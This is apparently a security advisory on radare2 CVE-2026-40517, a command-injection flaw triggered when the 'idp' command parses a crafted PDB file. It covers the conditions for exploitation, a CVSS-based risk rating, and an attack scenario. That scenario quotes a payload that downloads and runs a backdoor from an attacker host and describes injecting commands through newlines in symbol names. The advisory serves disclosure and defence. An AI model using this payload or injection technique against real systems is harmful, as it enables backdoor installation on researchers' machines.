radare2 CVE-2026-40517

Exploitation requires the victim to open a malicious PDB file in radare2 and explicitly execute the 'idp' command to parse PDB symbols, which triggers the print_gvars() function containing the vulnerability. This is a common workflow for reverse engineers analyzing Windows binaries with debugging symbols but is not automatic upon file opening. The PDB file must be crafted with newline characters embedded in symbol names followed by valid radare2 command syntax including shell execution operators. Radare2 must be configured to allow shell command execution (default configuration). Attack is limited to local execution context (AV:L) where the victim has already obtained or been delivered the malicious file, excluding remote network-based exploitation. User interaction is mandatory (UI:A) as the 'idp' command requires deliberate analyst action. No authentication or elevated privileges are required (PR:N). The vulnerability affects radare2's core PDB parsing functionality across all platforms, so exploitation is not limited to specific operating systems, though PDB files are primarily associated with Windows development environments making Windows reverse engineering scenarios most likely.

Real-world risk is moderate despite the 8.4 CVSS score due to requiring user interaction (UI:A) and local attack vector (AV:L). The vulnerability requires a victim to deliberately open and analyze a malicious PDB file using radare2's 'idp' command, which limits exploitation to targeted attacks against reverse engineers, malware analysts, and security researchers. However, publicly available exploit code significantly lowers the barrier to weaponization. The attack complexity is low (AC:L) with no privileges required (PR:N), meaning any attacker can craft the malicious file. The high impact ratings (VC:H/VI:H/VA:H) are justified as successful exploitation grants arbitrary command execution with full victim user privileges, enabling data theft, malware installation, or lateral movement. Without EPSS data, exploitation probability assessment relies on attacker motivation: reverse engineering tools are niche targets, but their users often handle untrusted binaries making social engineering plausible. The public technical disclosure at blog.calif.io with 0-day discovery details increases likelihood of copycat exploitation. Priority should be HIGH for organizations using radare2 in malware analysis or binary research workflows, MEDIUM for general development environments where radare2 may be installed but rarely used for analyzing untrusted PDB files.

An attacker discovers a malware researcher analyzing suspicious binaries using radare2. The attacker crafts a seemingly legitimate Windows executable with an embedded malicious PDB file where symbol names contain newline characters followed by radare2 command injection payloads like '!cmd.exe /c curl attacker.com/backdoor.exe -o %temp%\m.exe && %temp%\m.exe'. The attacker delivers this binary via security research forums, malware sample sharing platforms, or targeted phishing as a 'new ransomware variant' or 'interesting APT sample'. When the researcher opens the binary in radare2 and executes the 'idp' command to load PDB symbols for analysis, the injected commands execute with the researcher's privileges, downloading and running the attacker's backdoor. Publicly available exploit code at blog.calif.io demonstrates proof-of-concept exploitation mechanics.